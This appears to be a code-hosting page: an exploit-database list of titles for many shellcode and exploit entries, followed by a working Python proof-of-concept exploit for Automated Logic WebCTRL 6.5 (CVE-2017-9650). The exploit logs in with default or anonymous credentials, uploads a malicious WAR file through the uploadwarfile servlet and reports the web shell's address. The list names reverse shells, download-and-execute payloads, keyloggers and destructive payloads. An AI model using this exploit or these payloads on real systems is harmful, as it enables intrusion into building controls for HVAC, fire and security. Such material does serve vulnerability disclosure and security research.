
13 new exploits libgig 4.0.0 - LinuxSampler Multiple Vulnerabilities Microsoft Internet Explorer - wshom.ocx (Run) ActiveX Remote Code Execution (Add Admin) Microsoft Internet Explorer - 'wshom.ocx' (Run) ActiveX Remote Code Execution (Add Admin) Automated Logic WebCTRL 6.5 - Local Privilege Escalation Microsoft Internet Explorer - (createTextRang) Download Shellcode Exploit (1) Microsoft Internet Explorer - 'createTextRang' Download Shellcode Exploit (1) Microsoft Internet Explorer - wshom.ocx ActiveX Control Remote Code Execution Microsoft Internet Explorer - 'wshom.ocx' ActiveX Control Remote Code Execution Easy File Management Web Server 5.3 - UserID Remote Buffer Overflow (ROP) Easy File Management Web Server 5.3 - 'UserID' Remote Buffer Overflow (ROP) Easy File Management Web Server 5.6 - USERID Remote Buffer Overflow Easy File Management Web Server 5.6 - 'USERID' Remote Buffer Overflow BSD/x86 - Bind TCP Shell (Random Port) Shellcode (143 bytes) BSD/x86 - Bind TCP Shell (Random TCP Port) Shellcode (143 bytes) FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + JMP + Return Results Null-Free Shellcode (90 bytes) FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + Payload Loader + Return Results Null-Free Shellcode (90 bytes) Linux/x86 - Bind TCP Shellcode (Generator) Linux/x86 - Bind TCP Shell Shellcode (Generator) Linux/x86 - Command Null-Free Shellcode (Generator) Linux/x86 - Command Generator Null-Free Shellcode (Generator) Cisco IOS/PowerPC - Bind Password (1rmp455) Shellcode (116 bytes) Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Linux/MIPS (Linksys WRT54G/GL) - execve Shellcode (60 bytes) Linux/MIPS (Linksys WRT54G/GL) - execve(_/bin/sh__[_/bin/sh_]_[]); Shellcode (60 bytes) Linux/x86 - Self-Modifying Anti-IDS Shellcode (64 bytes) Linux/x86 - Forks a HTTP Server on 8800/TCP Shellcode (166 bytes) Linux/x86 - Listens on 5555/TCP + Jumps to it Shellcode (83 bytes) Linux/x86 - Self-Modifying Anti-IDS /bin/sh Shellcode (35/64 bytes) Linux/x86 - HTTP Server (8800/TCP) + Fork Shellcode (166 bytes) Linux/x86 - Bind TCP Listener (5555/TCP) + Receive Shellcode + Payload Loader Shellcode (83 bytes) Linux/x86 - File Reader Shellcode (65+ bytes) Linux/x86 - Read /etc/passwd Shellcode (65+ bytes) Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) for full access Shellcode (86 bytes) Linux/x86 - Ho' Detector - Promiscuous mode detector Shellcode (56 bytes) Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access Shellcode (86 bytes) Linux/x86 - Promiscuous Mode Detector Shellcode (56 bytes) Linux/x86 - system-beep Shellcode (45 bytes) Linux/x86 - System Beep Shellcode (45 bytes) Linux/x86 - rm -rf / Attempts To Block The Process From Being Stopped Shellcode (132 bytes) Linux/x86 - /bin/rm -rf / + Attempts To Block The Process From Being Stopped Shellcode (132 bytes) Linux/x86 - raw-socket ICMP/checksum shell Shellcode (235 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (40 bytes) Linux/x86 - kill all processes Shellcode (11 bytes) Linux/x86 - Raw-Socket ICMP/Checksum /bin/sh Shell Shellcode (235 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (40 bytes) Linux/x86 - Kill All Processes Shellcode (11 bytes) Linux/x86 - HTTP/1.x GET + Downloads + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - Download File (HTTP/1.x http://0xdeadbeef/A) + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - re-use of /bin/sh string in .rodata Shellcode (16 bytes) Linux/x86 - execve /bin/sh (Re-Use Of Strings In .rodata) Shellcode (16 bytes) Linux/x86 - execve(/bin/sh) + .ZIP Header Shellcode (28 bytes) Linux/x86 - execve(/bin/sh) + .RTF Header Shellcode (30 bytes) Linux/x86 - execve(/bin/sh) + .RIFF Header Shellcode (28 bytes) Linux/x86 - execve(/bin/sh) + .BMP Bitmap Header Shellcode (27 bytes) Linux/x86 - Read SWAP write to /tmp/swr Shellcode (109 bytes) Linux/x86 - SWAP store from /tmp/sws Shellcode (99 bytes) Linux/x86 - execve(/bin/sh) + '.ZIP' Header Shellcode (28 bytes) Linux/x86 - execve(/bin/sh) + '.RTF' Header Shellcode (30 bytes) Linux/x86 - execve(/bin/sh) + '.RIFF' Header Shellcode (28 bytes) Linux/x86 - execve(/bin/sh) + '.BMP' Bitmap Header Shellcode (27 bytes) Linux/x86 - Read SWAP + Write To /tmp/swr Shellcode (109 bytes) Linux/x86 - Read /tmp/sws + Store In SWAP Shellcode (99 bytes) Linux/x86 - HTTP/1.x GET_ Downloads + JMP Shellcode (68+ bytes) Linux/x86 - TCP Proxy Null-Free Shellcode (236 bytes) Linux/x86 - Download File (HTTP/1.x http://127.0.0.1:8081/foobar.bin) + Receive Shellcode + Payload Loader Shellcode (68+ bytes) Linux/x86 - TCP Proxy (192.168.1.16:1280) All Connect() Null-Free Shellcode (236 bytes) Linux/x86 - eject cd-rom (follows /dev/cdrom symlink) + exit() Shellcode (40 bytes) Linux/x86 - eject/close cd-rom loop (follows /dev/cdrom symlink) Shellcode (45 bytes) Linux/x86 - Eject CD-Rom (Follows /dev/cdrom Symlink) + exit() Shellcode (40 bytes) Linux/x86 - Eject/Close CD-Rom Loop (Follows /dev/cdrom Symlink) Shellcode (45 bytes) Linux/x86 - normal exit with random (so to speak) return value Shellcode (5 bytes) Linux/x86 - Normal Exit With Random (So To Speak) Return Value Shellcode (5 bytes) Linux/x86 - Socket-proxy Shellcode (372 bytes) Linux/x86 - Socket-Proxy (31337:11.22.33.44:80) Shellcode (372 bytes) Linux/x86 - snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - Snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - examples of long-term payloads hide-wait-change Shellcode (.s) (187+ bytes) Linux/x86 - examples of long-term payloads hide-wait-change Shellcode (187+ bytes) Linux/x86 - Hide-Wait-Change (Hide from PS + Wait for /tmp/foo + chmod 0455) Shellcode (187+ bytes) Linux/x86 - Radically Self-Modifying Shellcode (70 bytes) Linux/x86 - Magic Byte Self-Modifying Shellcode (76 bytes) Linux/x86 - Self-Modifying Radical Shellcode (70 bytes) Linux/x86 - Self-Modifying Magic Byte /bin/sh Shellcode (76 bytes) Linux/x86 - execve /bin/sh IA32 0xff-less Shellcode (45 bytes) Linux/IA32 - execve /bin/sh 0xff-Free Shellcode (45 bytes) Linux/x86 - kill snort Shellcode (151 bytes) Linux/x86 - Kill Snort Shellcode (151 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes) Linux/x86 - eject /dev/cdrom Shellcode (64 bytes) Linux/x86 - xterm -ut -display [IP]:0 Shellcode (132 bytes) Linux/x86 - ipchains -F Shellcode (49 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (64 bytes) Linux/x86 - xterm -ut -display 1270.0.0.1:0 Shellcode (132 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (49 bytes) Linux/x86 - execve /bin/sh (tolower() Evasion) Shellcode (41 bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (41 bytes) Linux/x86 - execve /bin/sh (toupper() Evasion) Shellcode (55 bytes) Linux/x86 - execve /bin/sh ToLower Encoded Shellcode (55 bytes) NetBSD/x86 - kill all processes Shellcode (23 bytes) NetBSD/x86 - Callback 6666/TCP Shellcode (83 bytes) NetBSD/x86 - Kill All Processes Shellcode (23 bytes) NetBSD/x86 - Reverse TCP Shell (6666/TCP) Shellcode (83 bytes) OSX/PPC - Add inetd backdoor Shellcode (222 bytes) OSX/PPC - reboot Shellcode (28 bytes) OSX/PPC - Add inetd (/etc/inetd.conf) Backdoor (Bind 6969/TCP Shell) Shellcode (222 bytes) OSX/PPC - Reboot Shellcode (28 bytes) OSX/PPC - create /tmp/suid Shellcode (122 bytes) OSX/PPC - simple write() Shellcode (75 bytes) OSX/PPC - Create /tmp/suid Shellcode (122 bytes) OSX/PPC - Simple write() Shellcode (75 bytes) Solaris/SPARC - Download File + Execute Shellcode (278 bytes) Solaris/SPARC - Download File (http://evil-dl/) + Execute (/tmp/ff) Shellcode (278 bytes) Solaris/SPARC - Bind TCP /bin/sh (6789/TCP) Shellcode (228 bytes) Solaris/SPARC - Bind TCP /bin/sh Shell (6789/TCP) Shellcode (228 bytes) Solaris/x86 - Bind TCP Shellcode (Generator) Solaris/x86 - Bind TCP Shell Shellcode (Generator) Solaris/x86 - execve /bin/sh toupper evasion Shellcode (84 bytes) Solaris/x86 - Add services and execve inetd Shellcode (201 bytes) Solaris/x86 - execve /bin/sh ToUpper Encoded Shellcode (84 bytes) Solaris/x86 - inetd Add Service + execve Shellcode (201 bytes) Windows x64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes) Linux/x86 - kill all processes Shellcode (9 bytes) Windows x64 - (URLDownloadToFileA) Download File (http://localhost/trojan.exe) + Execute Shellcode (218+ bytes) Linux/x86 - Kill All Processes Shellcode (9 bytes) Linux/x86 - Pverwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Linux/x86 - Overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Linux/x86 - eject /dev/cdrom Shellcode (42 bytes) Linux/x86 - Eject /dev/cdrom Shellcode (42 bytes) Linux/x86 - Disabled modsecurity Shellcode (64 bytes) Linux/x86 - Disable modsecurity Shellcode (64 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (33 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (33 bytes) Solaris/x86 - Download File Shellcode (79 bytes) Linux/x86 - Disable ASLR Security Shellcode Shellcode (106 bytes) Solaris/x86 - Download File (http://shell-storm.org/exemple-solaris) Shellcode (79 bytes) Linux/x86 - Disable ASLR Security Shellcode (106 bytes) Linux/x86 - kill all running process Shellcode (11 bytes) Linux/x86 - Kill All Running Process Shellcode (11 bytes) Solaris/x86 - SystemV killall command Shellcode (39 bytes) Solaris/x86 - SystemV killall Command Shellcode (39 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Windows x86 - Egghunter Checksum Routine Shellcode (18 bytes) ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/UDP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69/93 bytes) OSX/Intel x86-64 - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) OSX - Universal ROP Shellcode Linux/MIPS - execve Shellcode (52 bytes) OSX - Universal ROP + Reverse TCP Shell Shellcode Linux/MIPS - execve /bin/sh Shellcode (52 bytes) Windows x86 - Bind TCP Password (damn_it!$$##@;*#) Shellcode (637 bytes) Windows x86 - Bind TCP Password (damn_it!$$##@;*#) Shell Shellcode (637 bytes) Windows - URLDownloadToFile + WinExec + ExitProcess Shellcode Windows - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode Linux/x86 - Socket Re-use Shellcode (50 bytes) Linux/x86 - execve /bin/sh + Socket Re-Use Shellcode (50 bytes) Linux/x86-64 - Position independent + execve(_/bin/sh\0__NULL_NULL); Alphanumeric Shellcode (87 bytes) Linux/x86-64 - execve(_/bin/sh\0__NULL_NULL); Position Independent Alphanumeric Shellcode (87 bytes) Linux/x86-64 - Reads Data From /etc/passwd To /tmp/outfile Shellcode (118 bytes) Linux/x86-64 - Read /etc/passwd + Write To /tmp/outfile Shellcode (118 bytes) Linux/x86 - execve _/bin/sh_ Shellcode (35 bytes) Linux/x86 - execve /bin/sh Shellcode (35 bytes) Linux/x86 - Execve /bin/sh Via Push Shellcode (21 bytes) Linux/x86-64 - Execve /bin/sh Via Push Shellcode (23 bytes) Linux/x86 - execve /bin/sh Via Push Shellcode (21 bytes) Linux/x86-64 - execve /bin/sh Via Push Shellcode (23 bytes) Linux/x86 - execve _/bin/sh_ Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (26 bytes) Linux/x86 - /etc/passwd Reader Shellcode (58 bytes) Linux/x86 - Read /etc/passwd Shellcode (58 bytes) Linux/x86 - execve _/bin/sh_ Shellcode (24 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux x86/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Execve-Stack Polymorphic Shellcode (47 bytes) Linux/x86-64 - execve Stack Polymorphic Shellcode (47 bytes) Linux/x86-64 - Bind Shell Shellcode (Generator) Windows - Primitive Keylogger to File Null-Free Shellcode (431 (0x01AF) bytes) Linux/x86-64 - Bind TCP Shell Shellcode (Generator) Windows - Keylogger to File (./log.bin) Null-Free Shellcode (431 bytes) Windows - Functional Keylogger to File Null-Free Shellcode (601 (0x0259) bytes) Windows - Keylogger to File (%TEMP%/log.bin) Null-Free Shellcode (601 bytes) Linux/x86-64 - Information Stealer Shellcode (399 bytes) Linux/x86-64 - Download File (http://192.168.30.129/pri.sh) + Execute Used To Steal Information Shellcode (399 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.227.129:4444) Shellcode (75 bytes) Windows x64 - Download File + Execute Shellcode (358 bytes) Windows x64 - Download File (http://192.168.10.129/pl.exe) + Execute (C:\Users\Public\p.exe) Shellcode (358 bytes) Linux/x86-64 - Random Listener Shellcode (54 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (54 bytes) Linux/x86-64 - Setuid(0) + Execve(/bin/sh) Polymorphic Shellcode (31 bytes) Linux/x86-64 - setuid(0) + Execve(/bin/sh) Polymorphic Shellcode (31 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - File Reader Shellcode (54 Bytes) Linux/x86 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Matrimonial Script - SQL Injection Automated Logic WebCTRL 6.5 - Unrestricted File Upload / Remote Code Execution Automated Logic WebCTRL 6.1 - Path Traversal / Arbitrary File Write iTech B2B Script 4.42 - SQL Injection iTech Business Networking Script 8.26 - SQL Injection iTech Caregiver Script 2.71 - SQL Injection iTech Classifieds Script 7.41 - SQL Injection iTech Image Sharing Script 4.13 - SQL Injection iTech Freelancer Script 5.27 - SQL Injection iTech Travel Script 9.49 - SQL Injection iTech Multi Vendor Script 6.63 - SQL Injection
231 lines
7.3 KiB
Python
Executable file
231 lines
7.3 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# -*- coding: utf8 -*-
|
|
#
|
|
#
|
|
# Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution
|
|
#
|
|
#
|
|
# Vendor: Automated Logic Corporation
|
|
# Product web page: http://www.automatedlogic.com
|
|
# Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior
|
|
# ALC WebCTRL, SiteScan Web 6.1 and prior
|
|
# ALC WebCTRL, i-Vu 6.0 and prior
|
|
# ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior
|
|
# ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior
|
|
#
|
|
# Summary: WebCTRL®, Automated Logic's web-based building automation
|
|
# system, is known for its intuitive user interface and powerful integration
|
|
# capabilities. It allows building operators to optimize and manage
|
|
# all of their building systems - including HVAC, lighting, fire, elevators,
|
|
# and security - all within a single HVAC controls platform. It's everything
|
|
# they need to keep occupants comfortable, manage energy conservation measures,
|
|
# identify key operational problems, and validate the results.
|
|
#
|
|
# Desc: WebCTRL suffers from an authenticated arbitrary code execution
|
|
# vulnerability. The issue is caused due to the improper verification
|
|
# when uploading Add-on (.addons or .war) files using the uploadwarfile
|
|
# servlet. This can be exploited to execute arbitrary code by uploading
|
|
# a malicious web archive file that will run automatically and can be
|
|
# accessed from within the webroot directory. Additionaly, an improper
|
|
# authorization access control occurs when using the 'anonymous' user.
|
|
# By specification, the anonymous user should not have permissions or
|
|
# authorization to upload or install add-ons. In this case, when using
|
|
# the anonymous user, an attacker is still able to upload a malicious
|
|
# file via insecure direct object reference and execute arbitrary code.
|
|
# The anonymous user was removed from version 6.5 of WebCTRL.
|
|
#
|
|
# Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)
|
|
# Apache-Coyote/1.1
|
|
# Apache Tomcat/7.0.42
|
|
# CJServer/1.1
|
|
# Java/1.7.0_25-b17
|
|
# Java HotSpot Server VM 23.25-b01
|
|
# Ant 1.7.0
|
|
# Axis 1.4
|
|
# Trove 2.0.2
|
|
# Xalan Java 2.4.1
|
|
# Xerces-J 2.6.1
|
|
#
|
|
#
|
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
# @zeroscience
|
|
#
|
|
#
|
|
# Advisory ID: ZSL-2017-5431
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php
|
|
#
|
|
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01
|
|
# CVE ID: CVE-2017-9650
|
|
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650
|
|
#
|
|
#
|
|
# 30.01.2017
|
|
#
|
|
#
|
|
|
|
import itertools
|
|
import mimetools
|
|
import mimetypes
|
|
import cookielib
|
|
import binascii
|
|
import urllib2
|
|
import urllib
|
|
import sys
|
|
import re
|
|
import os
|
|
|
|
from urllib2 import URLError
|
|
global bindata
|
|
|
|
__author__ = 'lqwrm'
|
|
|
|
piton = os.path.basename(sys.argv[0])
|
|
|
|
def bannerche():
|
|
print '''
|
|
@-------------------------------------------------@
|
|
| |
|
|
| WebCTRL 6.5 Authenticated RCE PoC |
|
|
| ID: ZSL-2017-5431 |
|
|
| Copyleft (c) 2017, Zero Science Lab |
|
|
| |
|
|
@-------------------------------------------------@
|
|
'''
|
|
if len(sys.argv) < 3:
|
|
print '[+] Usage: '+piton+' <IP> <WAR FILE>'
|
|
print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n'
|
|
sys.exit()
|
|
|
|
bannerche()
|
|
|
|
host = sys.argv[1]
|
|
filename = sys.argv[2]
|
|
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
hexo = binascii.hexlify(content)
|
|
bindata = binascii.unhexlify(hexo)
|
|
|
|
cj = cookielib.CookieJar()
|
|
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
|
urllib2.install_opener(opener)
|
|
|
|
print '[+] Probing target http://'+host
|
|
|
|
try:
|
|
checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en')
|
|
except urllib2.HTTPError, errorzio:
|
|
if errorzio.code == 404:
|
|
print '[!] Error 001:'
|
|
print '[-] Check your target!'
|
|
print
|
|
sys.exit()
|
|
except URLError, errorziocvaj:
|
|
if errorziocvaj.reason:
|
|
print '[!] Error 002:'
|
|
print '[-] Check your target!'
|
|
print
|
|
sys.exit()
|
|
|
|
print '[+] Target seems OK.'
|
|
print '[+] Login please:'
|
|
|
|
print '''
|
|
Default username: Administrator, Anonymous
|
|
Default password: (blank), (blank)
|
|
'''
|
|
|
|
username = raw_input('[*] Enter username: ')
|
|
password = raw_input('[*] Enter password: ')
|
|
|
|
login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'})
|
|
|
|
opener.addheaders = [('User-agent', 'Thrizilla/33.9')]
|
|
login = opener.open('http://'+host+'/?language=en', login_data)
|
|
auth = login.read()
|
|
|
|
if re.search(r'productName = \'WebCTRL', auth):
|
|
print '[+] Authenticated!'
|
|
token = re.search('wbs=(.+?)&', auth).group(1)
|
|
print '[+] Got wbs token: '+token
|
|
cookie1, cookie2 = [str(c) for c in cj]
|
|
cookie = cookie1[8:51]
|
|
print '[+] Got cookie: '+cookie
|
|
else:
|
|
print '[-] Incorrect username or password.'
|
|
print
|
|
sys.exit()
|
|
|
|
print '[+] Sending payload.'
|
|
|
|
class MultiPartForm(object):
|
|
|
|
def __init__(self):
|
|
self.form_fields = []
|
|
self.files = []
|
|
self.boundary = mimetools.choose_boundary()
|
|
return
|
|
|
|
def get_content_type(self):
|
|
return 'multipart/form-data; boundary=%s' % self.boundary
|
|
|
|
def add_field(self, name, value):
|
|
self.form_fields.append((name, value))
|
|
return
|
|
|
|
def add_file(self, fieldname, filename, fileHandle, mimetype=None):
|
|
body = fileHandle.read()
|
|
if mimetype is None:
|
|
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
|
self.files.append((fieldname, filename, mimetype, body))
|
|
return
|
|
|
|
def __str__(self):
|
|
|
|
parts = []
|
|
part_boundary = '--' + self.boundary
|
|
|
|
parts.extend(
|
|
[ part_boundary,
|
|
'Content-Disposition: form-data; name="%s"' % name,
|
|
'',
|
|
value,
|
|
]
|
|
for name, value in self.form_fields
|
|
)
|
|
|
|
parts.extend(
|
|
[ part_boundary,
|
|
'Content-Disposition: file; name="%s"; filename="%s"' % \
|
|
(field_name, filename),
|
|
'Content-Type: %s' % content_type,
|
|
'',
|
|
body,
|
|
]
|
|
for field_name, filename, content_type, body in self.files
|
|
)
|
|
|
|
flattened = list(itertools.chain(*parts))
|
|
flattened.append('--' + self.boundary + '--')
|
|
flattened.append('')
|
|
return '\r\n'.join(flattened)
|
|
|
|
if __name__ == '__main__':
|
|
form = MultiPartForm()
|
|
form.add_field('wbs', token)
|
|
form.add_field('file"; filename="'+filename, bindata)
|
|
request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile')
|
|
request.add_header('User-agent', 'SCADA/8.0')
|
|
body = str(form)
|
|
request.add_header('Content-type', form.get_content_type())
|
|
request.add_header('Cookie', cookie)
|
|
request.add_header('Content-length', len(body))
|
|
request.add_data(body)
|
|
request.get_data()
|
|
urllib2.urlopen(request).read()
|
|
|
|
print '[+] Payload uploaded.'
|
|
print '[+] Shell available at: http://'+host+'/'+filename[:-4]
|
|
print
|
|
|
|
sys.exit()
|